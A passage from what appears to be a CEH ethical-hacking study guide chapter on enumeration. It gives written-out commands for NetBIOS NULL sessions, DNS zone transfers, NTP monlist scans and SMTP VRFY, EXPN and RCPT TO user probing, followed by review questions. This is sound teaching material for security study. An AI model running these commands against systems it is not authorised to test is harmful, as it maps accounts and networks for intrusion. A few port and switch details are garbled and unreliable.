holds true no matter which Windows system you have. So if you see accounts ending in
these numbers, you have hit pay dirt.
You’ll also find SIDs on every installation of Windows that correspond to certain built-in
accounts.
For example, the S-1-5-18 SID can be found in any copy of Windows you come across and
corresponds to the LocalSystem account, the system account that’s loaded by Windows
before a user logs on.
The following are a few examples of the string values for groups and special users that are
universal across all Windows installs:
S-1-0-0 (Null SID)—This is assigned when the SID value is unknown or for a group
without any members.
S-1-1-0 (World)—This is a group consisting of every user.
S-1-2-0 (Local)—This SID is assigned to users who log on to a local terminal.
Even though you use a username to access the system, Windows identifies each user,
group, or object by the SID. For example, Windows uses the SID to look up a user account
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and see whether a password matches. Also, SIDs are used in every situation in which
permissions need to be checked—for example, when a user attempts to access a folder or
shared resource. Note that SIDs are never reused.
So Where Does All of This Get Stored?
Obviously, user and group information is very important and we need a place to store and
keep track of all of it; in Windows, this is the Security Accounts Manager (SAM). Simply
put, the SAM is a database on the local host that contains the usernames and passwords
of those who have accounts on that specific system. The SAM is wrapped up in and part of
the Windows Registry for each system.
Within the SAM, each user account is assigned certain pieces of information. Information
associated with an account comes in the form of a password, which is stored in an
encrypted format in both Lan Manager (LM) hash and NTLM hash formats. This hash
allows the computer to determine if the password entered by the user is correct or
incorrect and needs to be reentered.
Before I get called out on the inclusion of LM hash as one of the formats
in which passwords are stored, let me clarify. From Windows XP forward, the LM
hash capability in Windows has been disabled due to security reasons. In the
majority of situations, it should be kept this way because few applications need this
support, but it is possible to activate it if needed. Activation should only ever be
undertaken after carefully reviewing the current need versus security vulnerabilities
(more on this part later in this chapter).
Complete Path
The SAM file is located on each Windows host in the \windows\system32\config\ folder.
However, only in extreme circumstances such as a corrupted Windows installation or
similar situation should you even consider tampering with this file. Removing, altering,
or messing with this file in any way could easily cause the OS to become unbootable.
Windows Version Support
For all intents and purposes, the SAM file is alive and well in all versions of Windows
except those that are 15 years old or older. In versions that support the SAM, the database
runs as a background process and to the user it is out of sight and out of mind.
Take note that the SAM is a local system feature and is not meant for
networks outside of very small workgroups. For larger networks we have Microsoft’s
Active Directory or OpenLDAP as well as others.
Linux Basic
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The Linux and Windows operating systems do have a good number of things in common,
and one of them is the need for users and groups. Since you will encounter Linux
systems, we need to look at them as well.
Users
Much like Windows users, Linux users must have a user account to log in to and gain
access to a system. User accounts contain all the properties that will allow a user to access
all the resources, files, and folders on a computer. Much like Windows, the information
associated with a user account can be stored either on the local host or on a network.
A typical account used to log in to a Linux computer consists of the following
information:
Username and user ID (UID)
Password
Primary group name and group ID (GID)
Secondary group names and group IDs
Location of the home directory
Preferred shell
Whenever a user account is created, Linux records the user login information and stores
the values in the etc/passwd file on the host itself. The passwd file can be viewed and
edited with any text editor.
Each user account has an entry recorded in the following format:
username:password:UID:GID:name:home directory:shell
Let’s take a look at what makes up the information for each entry in the passwd file:
The username and user ID identify the user on the system. When a user account is
created, it is given a name and assigned a UID from a predetermined range of
numbers. The UID must be a positive number and is usually above 500 for user
accounts. System accounts usually have numbers below 100.
Each user account has its own password, which is encrypted and stored on the
computer itself or on another computer on the network. Local passwords are stored in
the /etc/passwd file or /etc/shadow file. When the user logs in by entering a username
and password, Linux takes the entered password, encrypts it, and then compares the
encrypted value to the value of the password stored in the user account. If the entered
value is the same as the value stored in the password field on the computer, the user is
granted access.
Administrators often use the /etc/passwd file to hold user account information but
store the encrypted password in the /etc/shadow file, which is readable only by root.
When this method is used, the passwd file entry has an x in the password field.
Groups are used to administer and organize user accounts. When rights and
permissions are assigned to a group, all user accounts that are part of the group
receive the same rights and permissions. The group has a unique name and
identification number (GID). The primary GID and group name are stored as entries
in the /etc/passwd file on the computer itself.
Each user has a designated primary (or default) group and can also belong to
additional groups called secondary groups. When users create files or launch
programs, those files and programs are associated with one group as the owner. A user
can access files and programs if they are a member of the group with permissions to
allow access. The group can be the user’s primary group or any of their secondary
groups.
Although not strictly part of the user account, secondary groups are also a part of the
user login experience. Groups and GIDs are used to manage rights and permissions to
other files and folders. Secondary groups for each user are listed as entries in
/etc/group on the computer itself.
Services and Ports of Interest
As we wade deeper into the enumeration phase, let’s make sure you understand some
more details about ports. You already have encountered ports in both Chapter 2, “System
Fundamentals,” and Chapter 5, “Scanning,” but let’s fill in some more details that you’ll
find handy.
You should expect during your scanning phase to uncover a number of ports, some of
which may be useful to you for enumeration and others less so. Here are several that you
should pay close attention to:
TCP 21—FTP Port 21 is used for the File Transfer Protocol, which is used to transfer files
from client to server or vice versa. The protocol is supported by all major operating
systems in use today.
TCP 23—Telnet Telnet is a long-standing protocol and software used to remotely
connect to systems and run processes on the target systems. Telnet is available on many
systems and devices, but has seen decreased usage over the years because of a lack of
security features; for example, passwords are sent in the clear.
TCP 25—SMTP This port is used specifically for Simple Mail Transport Protocol, which
is used to send messages (usually email) from client to server and from server to server.
TCP 53—DNS This port is used for DNS zone transfers, the mechanism through which
the DNS system keeps servers up to date with the latest zone data.
UDP 53—DNS Pay attention to the fact that we are talking about port 53 UDP and not
TCP. The UDP port is used for name queries about name-to-IP and IP-to-name mappings.
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TCP 80—HTTP Hypertext Transport Protocol is a common protocol used in all web
browsers and many web applications.
TCP 135—RPC This port is used during client-server communications, such as allowing
Microsoft Outlook to communicate with Microsoft Exchange. Specifically, this port is
used by the Remote Procedure Call service in Windows.
TCP 137—NetBIOS This port associated with NetBIOS Name Service (NBNS) is a
mechanism designed to provide name resolution services involving the NetBIOS protocol.
The service allows NetBIOS to associate names and IP addresses of individuals systems
and services. It is important to note that this service is a natural and easy target for many
attackers.
TCP 139—NetBIOS NetBIOS Session Service, also known as SMB over NetBIOS, lets
you manage connections between NetBIOS-enabled clients and applications and is
associated with port TCP 139. The service is used by NetBIOS to establish connections
and tear them down when they are no longer needed.
TCP 445—SMB over TCP SMB over TCP, or Direct Host, is a service designed to
improve network access and bypass NetBIOS use. This service is available only in
versions of Windows starting at Windows 2000 and later. SMB over TCP is closely
associated with TCP 445.
UDP 161 and 162—SNMP SNMP is a protocol used to manage and monitor network
devices and hosts. The protocol is designed to facilitate messaging, monitoring, auditing,
and other capabilities. SNMP works on two ports: 161 and 162. Listening takes place on
161 and traps are received on 162.
TCP/UDP 389—LDAP Lightweight Directory Access Protocol (LDAP) is used by many
applications; two of the most common are Active Directory and Exchange. The protocol is
used to exchange information between two parties. If the TCP/UDP 389 port is open, it
indicates that one of these or a similar product may be present.
TCP/UDP 3268—Global Catalog Service Global Catalog Service is associated with
Microsoft’s Active Directory and runs on port 3368 on Windows 2000 systems and later.
The service is used to locate information within Active Directory.
I can’t stress this enough: You must know your ports for the exam as well
as in the field. Fortunately, for the exam there are only a handful of ports that you
must remember (including their TCP/UDP status). In the field you will frequently be
presented with port numbers that aren’t mentioned on the CEH, and in those cases
you must be prepared by having a list of ports printed out or in a document on your
computer or smartphone. Just because CEH doesn’t test on a topic doesn’t mean you
won’t run into it.
Remember, getting certified is one thing, but you must also have practical
knowledge.
Commonly Exploited Services
The Windows OS is popular with both users and attackers for various reasons, but for
now let’s focus on attackers and what they exploit.
Windows has long been known for running a number of services by default, each of which
opens up a can of worms for a defender and a target of opportunity for an attacker. Each
service on a system is designed to provide extra features and capabilities to the system
such as file sharing, name resolution, and network management, among others. Windows
can have 30 or so services running by default, not including the ones that individual
applications may install.
One step in gaining a foothold in a Windows system is exploiting the NetBIOS API. This
service was originally intended to assist in the access to resources on a local area network
only. The service was designed to use 16-character names, with the first 15 characters
identifying the machine and the last character representing a service or item on the
machine itself. NetBIOS has proven to be a blessing to some and a curse to others. Let’s
look at why.
NetBIOS was developed by Sytek and IBM many years ago for the LANs
that were available at the time. Due to the design of the protocol and the evolution of
networks, the service is no longer preferred.
An attacker who is using certain tools and techniques (more on this in a moment) can
extract quite a bit of information from NetBIOS. Using scanning techniques, an attacker
can sweep a system, find port 139 open, and know that this port is commonly associated
with NetBIOS. Once the port has been identified, they can attempt to view or access
information such as file shares, printer sharing, usernames, group information, or other
goodies that may prove helpful.
One of the many tools that can be used to work with NetBIOS is a command-line utility
called nbtstat. This utility can display information, including name tables and protocol
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statistics, for local or remote systems. Included with every version of the Windows
operating system, nbtstat can assist in network troubleshooting and maintenance. It is
specifically designed to troubleshoot name-resolution issues that are a result of the
NetBIOS service. During normal operation, a service in Windows known as NetBIOS over
TCP/IP will resolve NetBIOS names to IP addresses. nbtstat is designed to locate
problems with this service.
In addition, the utility has the ability to return names (if any) registered with the
Windows Internet Naming Service (WINS).
Tasks You Can Do with nbtstat
Run the nbtstat command as follows to return the name table on a remote system:
nbtstat.exe –a "netbios name of remote system"
The -a switch can be used to return a list of addresses and NetBIOS names that the
system has resolved. The command line that uses this option would look like the
following if the targeted system had an IP address of 192.168.1.10:
nbtstat -A 192.168.1.10
The nbtstat command can do much more than these two functions. The following is a
partial list of the options available with the nbtstat command:
returns the NetBIOS name table and Media Access Control (MAC) address of the
address card for the computer name specified.
-a
-A
lists the same information as -a when given the target’s IP address.
-c
lists the contents of the NetBIOS name cache.
(Names) displays the names registered locally by NetBIOS applications such as the
server and redirector.
-n
-r
(Resolved) displays a count of all names resolved by broadcast or the WINS server.
(Sessions) lists the NetBIOS sessions table and converts destination IP addresses to
computer NetBIOS names.
-s
(Sessions) lists the current NetBIOS sessions and their status, along with the IP
address.
-S
The nbtstat command is case sensitive. Note that some of the switches are uppercase and
some are lowercase, and this is how you must use them. If you fail to use the correct case
for the switch, the command may yield incorrect results or no result at all.
EXERCISE 6.1
Using nbtstat to View Who Is Logged into a Computer
In this exercise we will use nbtstat to determine who is logged into a remote
computer:
1. At the Windows command prompt enter the command nbtstat –a followed by
the name of the computer you want to examine.
2. If the port is open, the service running, and the machine available, you should see
results similar to the following. In this example we assume a machine with the
name “aperture.”
NetBIOS Remote Machine Name Table
Name
Type Status
———————————————————————————–
APERTURE
<03> UNIQUE
LCEDROS
<03> UNIQUE
APERTURE
<00> UNIQUE
WORKGROUP
<00> GROUP
APERTURE
<20> UNIQUE
3. Examine the list and note that under the Type heading we have a mixture of <03>
records and others. The user account will be identified by an <03> label and
nothing else. Since we know the machine name is APERTURE, it’ s not hard to
single out the <03> record LCEDROS as a username logged into the system.
NULL Sessions
A powerful feature as well as a potential liability is something known as the NULL
session. This feature is used to allow clients or endpoints of a connection to access certain
types of information across the network. NULL sessions have been part of the Windows
operating system for a considerable amount of time for completely legitimate purposes;
the problem is that they are a source of potential abuse as well. As you will soon see, the
NULL session can reveal a wealth of information.
Basically, a NULL session occurs when a connection is made to a Windows system
without credentials being provided. This session can only be made to a special location
called the interprocess communications (IPC) share, which is an administrative share. In
normal practice, NULL sessions are designed to facilitate a connection between systems
on a network to allow one system to enumerate the process and shares on the other.
Information that may be obtained during this process includes the following:
List of users and groups
List of machines
List of shares
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Users and host SIDs
The NULL session allows access to a system using a special account called a NULL user
that can be used to reveal information about system shares or user accounts while not
requiring a username or password to do so.
Exploiting a NULL session is a simple task that requires only a short list of commands.
For example, assume that a computer has the name “zelda” as the hostname, which
would mean you could attach to that system by using the following, where the host is the
IP address or name of the system being targeted:
net use \\zelda\ipc$
"" "/user:"
Note that the ipc$ share is the IPC share.
To view the shares available on a particular system, after issuing the command to connect
to the ipc$ share on the target system, issue the following command:
net view \\zelda
This command lists the shares on the system. Of course, if no other shared resources are
available, nothing will be displayed.
Once an attacker has this list of shares, the next step is to connect to a share and view the
data. This is easy to do at this point by using the net use command:
net use s: \\zelda\(shared folder name)
You should now be able to view the contents of the folder by browsing the S: drive, which
is mapped in this example.
SuperScan
You used SuperScan earlier to do scanning, but this scanner is more than a one-trick pony
and can help you with your NetBIOS exploration. In addition to SuperScan’s documented
abilities to scan TCP and UDP ports, perform ping scans, and run whois and tracert, it
has a formidable suite of features designed to query a system and return useful
information.
SuperScan offers a number of useful enumeration utilities designed for extracting
information such as the following from a Windows-based host:
NetBIOS name table
NULL session
MAC addresses
Workstation type
Users
Groups
Remote procedure call (RPC) endpoint dump
Account policies
Shares
Domains
Logon sessions
Trusted domains
Services
DNS Zone Transfers
A zone transfer is a normal process performed by DNS that is used to pass a copy of the
database (known as a zone) to another DNS server. The process is used to ensure that
more than one DNS server is available to answer a query when it arises.
In any zone there are both a primary DNS server and one or more secondaries, if so
configured. Under normal operations, the secondary server(s) will ask the primary for a
copy of the DNS database in order to ensure that all information is up to date across
servers.
As a penetration tester, you can exploit this behavior by using nslookup or dig to snatch a
copy of the zone file for yourself. Because DNS was designed in the good-old days of
networking, it doesn’t have much in the way of security (I’m being generous here too).
When DNS was designed, trust was more or less assumed and therefore not much in the
way of checking for authorization was performed.
So why should you care if someone gets a copy of your zone file? The answer is
straightforward when you think about it. The zone file contains name-to-IP mappings for
a portion of the DNS namespace. If an attacker gets hold of this juicy bit of information,
they have a roadmap of where clients are with name and IP address information. In
addition, an attacker can identify services such as mail servers and directory service
technology through MX and SRV records, respectively—never a good thing for a bad guy
to have.
In order to determine if you have a target that is vulnerable to this type of attack, you
would more than likely perform a port scan. When you perform a port scan against a
system, you are looking for port 53 TCP, since this is the port that zone transfers will
occur on by default. Once you find this, you can attempt a zone transfer.
Let’s look at how to perform this process using both nslookup and dig.
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EXERCISE 6.2
Performing a Zone Transfer
In this exercise we will use nslookup and dig to perform a zone transfer.
For our first example we will use Windows:
1. At the Windows command line enter Nslookup and press Enter.
2. The command prompt will change to a > symbol.
3. At the command prompt enter server <ns.example.com> with the
ns.example.com being the name or address of the DNS server.
4. At the command line enter set type=any and press Enter. This will retrieve all the
records from a server.
5. At the command prompt enter ls -d <example.com> this will actually transfer the
information to you from the domain if the server is configured to allow it.
If you want to perform this same task in Linux, you would use the dig command like
so:
1. At a command prompt enter dig <domain.com> axfr.
The transfer will either return records or return a message stating the transfer failed.
If the transfer succeeds, expect your results to look somewhat like the following:
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.
All rights reserved.
C:\Users\sean>nslookup
Default Server: lisa.portugal.belair.com
Address: 196.132.132.10
> server ns1.fubar.com
Default Server: ns1.rancidbutter.com
Address: xxx.xxx.xxx.xxx
> set type=any
> ls -d example.com
[ns1.fubar.com]
example.com.
SOA
ns1.rancidbutter.com
logs.rancidbutter.com. (2008102800 14400 7200 3600000 86400)
example.com.
MX
0
example.com
example.com.
NS
ns1.rancidbutter.com
example.com.
NS
ns2.rancidbutter.com
example.com.
A
yyy.yyy.yyy.yyy
cpanel
A
yyy.yyy.yyy.yyy
ftp
A
yyy.yyy.yyy.yyy
localhost
A
127.0.0.1
mail
CNAME example.com
webdisk
A
yyy.yyy.yyy.yyy
webmail
A
yyy.yyy.yyy.yyy
whm
A
yyy.yyy.yyy.yyy
www
CNAME example.com
example.com.
SOA
ns1.rancid butter.com logs.rancid.com.
(2008102800 14400 7200 3600000 86400)
> quit
Zone transfers are not something to be concerned about, but they do need to be managed.
Zone transfers are part of the normal operation of DNS and are to be expected, but they
can and should be restricted. If an attacker is planning to take over your DNS by
poisoning or spoofing it, they’ll find having a copy of the real data very useful.
Under normal circumstances zone transfers can and should be restricted. Restriction
means that a server will be configured to provide copies of the zone file only to specified
servers and no one else. In modern setups using DNSSEC transfers, you might even
include additional security measures in the form of digital signing.
In Windows Server 2003 and later, Microsoft addressed some lingering
security issues with their implementation of DNS by taking steps to limit zone
transfers. As of the 2003 edition of their server line, DNS zone transfers go only to
specific servers unless otherwise specified by the system administrator. This means
that if the attack cited here is attempted against a server using the defaults, it more
than likely will fail.
The PsTools Suite
Standing tall next to our other tools is a suite of Microsoft tools designed to extract
various kinds of information and perform other tasks involving a system. The tools in the
PsTools suite allow you to manage remote systems as well as the local system.
You can download the PsTools suite for free from Microsoft
at https://technet.microsoft.com/en-us/sysinternals/bb896649.aspx.
The tools included in the suite, downloadable as a package, are as follows:
PsExec Executes processes remotely
PsFile Displays files opened remotely
PsGetSid Displays the SID of a computer or a user
PsInfo Lists information about a system
PsPing Measures network performance
PsKill Kills processes by name or process ID
PsList Lists detailed information about processes
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PsLoggedOn Lets you see who’s logged on locally and via resource sharing (full source
is included)
PsLogList Dumps event log records
PsPasswd Changes account passwords
PsService Views and controls services
PsShutdown Shuts down and optionally reboots a computer
PsSuspend Suspends processes
PsUptime Shows you how long a system has been running since its last reboot
(PsUptime’s functionality has been incorporated into PsInfo.)
EXERCISE 6.3
Using PsInfo
In this exercise you will use the psinfo command to gain information about a remote
target:
1. At the Windows command prompt, enter psinfo \\<target name or ip> -h -d
and press Enter.
2. When the command executes, you should receive a list of information about the
remote system’s installed hotfixes and the disk volume.
Using finger
On the Linux/Unix side of things, the command finger can provide a wealth of
information that may prove useful. Finger is a simple command, but it provides a great
deal of information about users that may be useful to an attacker.
In practice finger would be executed in the format:
Finger –s <username>
This would have the effect of displaying information about the listed user, whereas
leaving the username blank would provide information about all users on the system.
Want to target a remote system? Easy; just issue the command:
Finger –l user@host
where user is the username and host is the machine name you wish to target.
Enumeration with SNMP
Another useful mechanism for enumerating a target system is the Simple Network
Management Protocol (SNMP). This protocol is used to assist in the management of
devices such as routers, hubs, and switches, among others.
SNMP comes in three versions:
SNMPv1 This version of the protocol was introduced as a standardized mechanism for
managing network devices. While it accomplished many tasks such as introducing a
standardized protocol, it lacked success in many others. The shortcomings of this protocol
were addressed in later versions. Of interest to the pentester is the fact that this version
does not include any security measures.
SNMPv2 This version introduced new management functions as well as security features
that were not included in the initial version. By design, this version of the protocol is
backward compatible with SNMPv1.
SNMPv3 This is the latest version of the protocol; it places increased emphasis on the
area of security. The security of SNMPv3 is focused on two areas:
Authentication is used to ensure that traps are read by only the intended recipient.
Privacy encrypts the payload of the SNMP message to ensure that it cannot be read by
unauthorized users.
SNMP is an Application layer protocol that functions using UDP. The protocol works
across platforms, meaning it can be accessed on most modern operating systems
including Windows, Linux, and Unix. The main requirement for SNMP is that the
network is running TCP/IP.
SNMP enumeration for the ethical hacker consists of leveraging the weaknesses in the
protocol to reveal user accounts and devices on a target running the protocol. To
understand how this is possible, let’s delve into some components of the SNMP system.
In the SNMP system two components are running: the SNMP agent and the SNMP
management station. The agent is located on the device to be managed or monitored,
whereas the management station communicates with the agent itself.
Most modern enterprise-level infrastructure equipment such as routers
and switches contains an SNMP agent built into the system.
The system works through the use of the agent and the management station like so:
1. The SNMP management station sends a request to the agent.
2. The agent receives the request and sends back a reply.
The messages sent back and forth function by setting or reading variables on a device. In
addition, the agent uses traps to let the management station know if anything has
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occurred, such as failure or reboot, that needs to be addressed.
Management Information Base
Management Information Base (MIB) is a database that contains descriptions of the
network objects that can be managed through SNMP. MIB is the collection of
hierarchically organized information. It provides a standard representation of the SNMP
agent’s information and storage. MIB elements are recognized using object identifiers.
The object identifier (OID) is the numeric name given to the object and begins with the
root of the MIB tree. It can uniquely identify the object present in the MIB hierarchy.
MIB-managed objects include scalar objects that define a single object instance and
tabular objects that define groups of related object instances. The object identifiers
include the object’s type, such as counter, string, or address; access level such as read or
read/write; size restrictions; and range information. MIB is used as a codebook by the
SNMP manager for converting the OID numbers into a human-readable display.
By default, SNMP tends to contain two passwords used to both configure and read the
information from an agent:
Read community string:
Configuration of the device or system can be viewed with the help of this password.
These strings are public.
Read/write community string:
Configuration on the device can be changed or edited using this password.
These strings are private.
Although these strings can be changed, they can also be left at the defaults noted here.
Attackers can and will take the opportunity to leverage this mistake. An attacker can use
the default passwords for changing or viewing information for a device or system. As an
ethical hacker, you will attempt to use the service to enumerate the information from the
device for later attacks.
The following can be extracted through SNMP:
Network resources such as hosts, routers, and devices
File shares
ARP tables
Routing tables
Device-specific information
Traffic statistics
Commonly used SNMP enumeration tools include SNMPUtil and SolarWinds’s IP
Network Browser.
SNScan
SNScan is a utility designed to detect devices on a network enabled for SNMP. The utility
helps you locate and identify devices that are vulnerable to SNMP attacks. SNScan scans
specific ports (for example, UDP 161, 193, 391, and 1993) and looks for the use of standard
(public and private) and user-defined SNMP community names. User-defined community
names may be used to more effectively evaluate the presence of SNMP-enabled devices in
complex networks.
Unix and Linux Enumeration
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Linux and Unix systems are no different from Windows systems and can be enumerated
as well. The difference lies in the tools and the approach. In this section you will take a
look at a handful of the tools that have proven useful in exploring these systems.
Unix and Linux commands are case sensitive in most situations, so when
entering a command pay close attention to the letter case.
finger
The finger command is designed to return information about a user on a given system.
When executed it returns information such as the user’s home directory, login time, idle
times, office location, and the last time they received or read mail.
The command line for the finger command looks like this:
finger <switches> username
Switches that can be used with the finger command include the following:
-b
removes the home directory and shell from the user display.
-f
removes header information from the display.
-w
removes the full name from the display.
-l
returns the list of users.
rpcinfo
The rpcinfo command enumerates information exposed over the Remote Procedure Call
(RPC) protocol.
The command line for rpcinfo looks like this:
rpcinfo <switches> hostname
Switches that can be used with rpcinfo include the following:
-m
displays a list of statistics for RPC on a given host.
-s
displays a list of registered RPC applications on a given host.
showmount
The showmount command lists and identifies the shared directories present on a given
system. showmount displays a list of all clients that have remotely mounted a file system.
The command line for showmount looks like this:
/usr/sbin/showmount [- ade ] [hostname]
Switches that can be used with showmount include the following:
-a
prints all remote mounts.
-d
lists directories that have been remotely mounted by clients.
-e
prints the list of shared file systems.
enum4linux
One tool worth looking at is enum4linux, which allows for the extraction of information
through Samba.
So first, what is Samba? Per samba.org, the software is described as:
…software that can be run on a platform other than Microsoft Windows, for example,
UNIX, Linux, IBM System 390, OpenVMS, and other operating systems. Samba uses
the TCP/IP protocol that is installed on the host server. When correctly configured, it
allows that host to interact with a Microsoft Windows client or server as if it is a
Windows file and print server.
allows for extraction of information where Samba is in use. Information that
can be returned includes the following:
Enum4linux
Group membership information
Share information
Workgroup or domain membership
Remote operating system identification
Password policy retrieval
LDAP and Directory Service Enumeration
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The Lightweight Directory Access Protocol (LDAP) is used to interact with and organize
databases. LDAP is very widely used because it is an open standard that a number of
vendors use in their own products—in many cases a directory service like Microsoft’s
Active Directory. Keep in mind that you may have other services interacting with LDAP,
and thus information may be disclosed to other parties without your approval.
If you kept good notes during your scanning process, you may remember having come
across port 389 being open. If you did find this port open on your scan, you may have just
found a target of interest. This port is associated with LDAP, in which case you may have
hit pay dirt, with the target system being a directory server or something equally as
important.
Remember, you have to put the clues together.
In this section you will explore LDAP mainly in the context of working
with a directory service such as Active Directory or OpenLDAP. However, in practice
the protocol is used by companies that warehouse large amounts of data.
A directory is a database, but the data is organized in a hierarchical or logical format.
Another way of looking at this design is to think of the organization of data much like the
files and folders on a hard drive. To make this data easier and more efficient to access,
you can use DNS alongside the service to speed up queries.
Directory services that make use of LDAP include these:
Active Directory
Novell eDirectory
OpenLDAP
Open Directory
Oracle iPlanet
In many cases the queries performed through LDAP against a database
tend to disclose sensitive data that could be leveraged by an attacker. Many directory
services offer ways to protect these queries through encryption or other mechanisms,
which are either enabled by default or must be enabled by the administrator.
Tools that allow for the enumeration of LDAP-enabled systems and services include the
following:
JXplorer
LDAP Admin Tool
LDAP Account Manager
LEX (The LDAP Explorer)
Active Directory Explorer
LDAP Administration Tool
LDAP Search
Active Directory Domain Services Management Pack
LDAP Browser/Editor
Nmap (using an NSE script)
JXplorer
JXplorer is a popular and free general-purpose LDAP browser used to read and search any
LDAP-enabled directory. It requires a Java virtual machine for installation and execution.
Some of the features of JXplorer are these:
Supports standard LDAP operations (add, delete, modify)
Can copy and delete tree structure
SSL and SASL authentication
Pluggable security providers
Multiplatform support including Windows, Linux, Solaris, HPUX, BSD, and AIX
HTML-type data display
Preventing LDAP Enumeration
LDAP can be tough to harden against enumeration, but it is possible. The tough part of
hardening LDAP is that if you were to close ports or filter traffic pertaining to LDAP, you
could easily impact the performance of your network by preventing clients from querying
a directory or other critical service. Without recommending any specific third-party
product, I’d say the easiest way to start the process of securing the information accessed
via LDAP is to make use of the permissions and security settings present in your product
and moving from there.
Enumeration Using NTP
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Another effective way to gather information about a network and the resources on it is
through use of the Network Time Protocol (NTP). Before you look at how to exploit this
protocol for information-gathering purposes, you need to understand what the protocol
does and what purpose it serves.
NTP is used to synchronize the clocks across the hosts on a network. The importance of
the protocol is extremely high considering that directory services rely on clock settings for
logon purposes.
NTP uses UDP port 123 for communication purposes.
The following commands can be used against an NTP server:
ntpdate
ntptrace
ntpdc
ntpq
It is also possible to extract information from NTP using our old friend Nmap and an NSE
script. Using the following command in Nmap would yield results including client IP
addresses, specifically the last 600 to attach to NTP:
nmap -sU -pU:123 -Pn -n –script=ntp-monlist <target>
In this command –sU defines the scan type, while –pU defines the port for NTP in this
case. The –script=ntp-monlist specifies the script being run for NTP enumeration, and
the <target> is the IP address of the NTP server.
SMTP Enumeration
Yet another effective way of gathering information from a target is through the use of
SMTP. This protocol is designed to send messages between servers that send and receive
email. SMTP is the standard used by the majority of email servers and clients today.
So how is this protocol used to gather information from a server? The process is quite
simple if you have a fundamental understanding of a few commands and how to use
them.
If you are following along and wish to execute the following commands on
a Windows system, be aware that for versions later than Windows XP Microsoft does
not include a Telnet client. You must download the client from Microsoft (at no
charge). In later versions of Windows, you can install the Telnet client from the
Programs and Features app in Control Panel.
Using VRFY
One easy way to verify the existence of email accounts on a server is by using the telnet
command to attach to the target and extract the information. The VRFY command is used
within the protocol to check whether a specific user ID is present. However, this same
command can be used by an attacker to locate valid accounts for attack, and if scripted, it
could also be used to extract multiple accounts in a short time, as shown here:
telnet 10.0.0.1 25 (where 10.0.0.1 is the server IP and 25 is the port for SMTP)
220 server1 ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 server1 Hello [10.0.0.72], pleased to meet you
VRFY chell
250 Super-User <link@server1>
VRFY glados
550 glados... User unknown
The previous code used VRFY to validate the user accounts for chell and glados. The server
responded with information that indicates chell is a valid user whereas a User unknown
response for glados indicates the opposite.
In many cases the VRFY command can be deactivated, but before you
perform this defensive step on your email server, research to determine if your
environment needs to have the command enabled.
Using EXPN
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is another valuable command for a pentester or an attacker. The command is similar
in functioning to the VRFY command, but rather than returning one user, it can return all
the users on a distribution list:
EXPN
telnet 10.0.0.1 25 (where 10.0.0.1 is the server IP and 25 is the port for SMTP)
220 server1 ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 server1 Hello [10.0.0.72], pleased to meet you
EXPN link
250 Super-User <link@myhost>
EXPN zelda
550 zelda... User unknown
Much like the VRFY command, EXPN may be disabled in some cases, but
before doing so make sure that in your environment this is acceptable.
Using RCPT TO
The command RCPT TO identifies the recipient of an email message. This command can be
repeated multiple times for a given message in order to deliver a single message to
multiple recipients. Here’s an example:
telnet 10.0.0.1 25
220 server1 ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 server1 Hello [10.0.0.72], pleased to meet you
MAIL FROM:link
250 link... Sender ok
RCPT TO:link
250 link... Recipient ok
RCPT TO: zelda
550 zelda... User unknown
Although these attacks aren’t all that difficult to execute from the command line, there
are other options for these attacks through SMTP, such as TamoSoft’s Essential NetTools
or NetScanTools Pro.
SMTP Relay
The SMTP Relay service lets users send emails through external servers. Open email
relays aren’t the problem they used to be, but you still need to check for them. Spammers
and hackers can use an email server to send spam or malware through email under the
guise of the unsuspecting open-relay owner.
Summary
This chapter described the process of enumerating the resources on a system for a later
attack. You began by exploring various items on a system such as user accounts and group
information. Information from the previous footprinting phase was gathered with little to
no interaction or disturbing of the target, whereas in this phase you are more proactively
obtaining information. Information brought into this phase includes usernames, IP
ranges, share names, and system information.
An attacker who wants to perform increasingly aggressive and powerful actions will need
to gain greater access. This is done by building on the information obtained through
careful investigation. To perform this investigation, you have such options as the use of
NetBIOS NULL sessions, SNMP enumeration, SMTP commands, and utilities such as the
PsTools suite.
If you perform enumeration carefully and thoughtfully, you should be able to obtain a
good picture of what the system looks like. Information should include account
information, group information, share information, network data, service data,
application profiles, and much more.
Finally, you should also be thinking of how you could counter these actions while you are
carrying each of them out. You should already being noticing that the presence of certain
open ports, services, and other items can easily attract attention like a bee to honey.
Remember, though, that while some services and other items are vulnerable, you can’t
really eliminate them all that easily. For example, restricting LDAP too aggressively can
easily cripple your network. You must find the balance between functionality,
convenience, and security.
Exam Essentials
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Understand the process of enumeration. Make sure you can identify the process of
system hacking and how it is carried out against a system and what the results are for the
attacker and the defender.
Know the different types of ports. Understand the differences between the different
types of ports; specifically know port numbers and the differences between TCP and UDP.
Know that the two different port types are used for different reasons.
Know your protocols. Understand the differences between SNMP, SMTP, HTTP, FTP,
RCP, and other protocols and where you might find them.
Understand zone transfers. Know that zone transfers, while normal, can be exploited
by commonly used commands such as dig and nslookup. An attacker finding port 53 TCP
has reason to believe that if the port is open, there is a chance that a zone transfer may be
possible and may very well attempt one. With the newly found zone file in hand, the
attacker has a roadmap to your network.
Understand what is associated with each port. In ports such as 389, 161, and
others, specific services are commonly associated with each port number. This is true for
the majority of services. Learn that certain numbers correspond to valuable services, and
then check through banner grabbing or other means if the service is actually listening on
the ports you find.
Review Questions
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1. Enumeration is useful to system hacking because it provides which of the following?
A. Passwords
B. IP ranges
C. Configurations
D. Usernames
2. Enumeration does not uncover which of the following pieces of information?
A. Services
B. User accounts
C. Ports
D. Shares
3. __________ involves grabbing a copy of a zone file.
A. Zone transfer
B. nslookup transfers
C. DNS transfer
D. Zone update
4. Which of the following would confirm a user named chell in SMTP?
A. vrfy chell
B. vrfy –u chell
C. expn chell
D. expn –u chell
5. VRFY is used to do which of the following?
A. Validate an email address
B. Expand a mailing list
C. Validate an email server
D. Test a connection
6. __________ is a method for expanding an email list.
A. VRFY
B. EXPN
C. RCPT TO
D. SMTP
7. An attacker can use __________ to enumerate users on a system.
A. NetBIOS
B. TCP/IP
C. NetBEUI
D. NNTP
8. A __________ is used to connect to a remote system using NetBIOS.
A. NULL session
B. Hash
C. Rainbow table
D. Rootkit
9. __________ is used to synchronize clocks on a network.
A. SAM
B. NTP
C. NetBIOS
D. FTP
10. Port number __________ is used for SMTP.
A. 25
B. 110
C. 389
D. 52
11. Port number __________ is used by DNS for zone transfers.
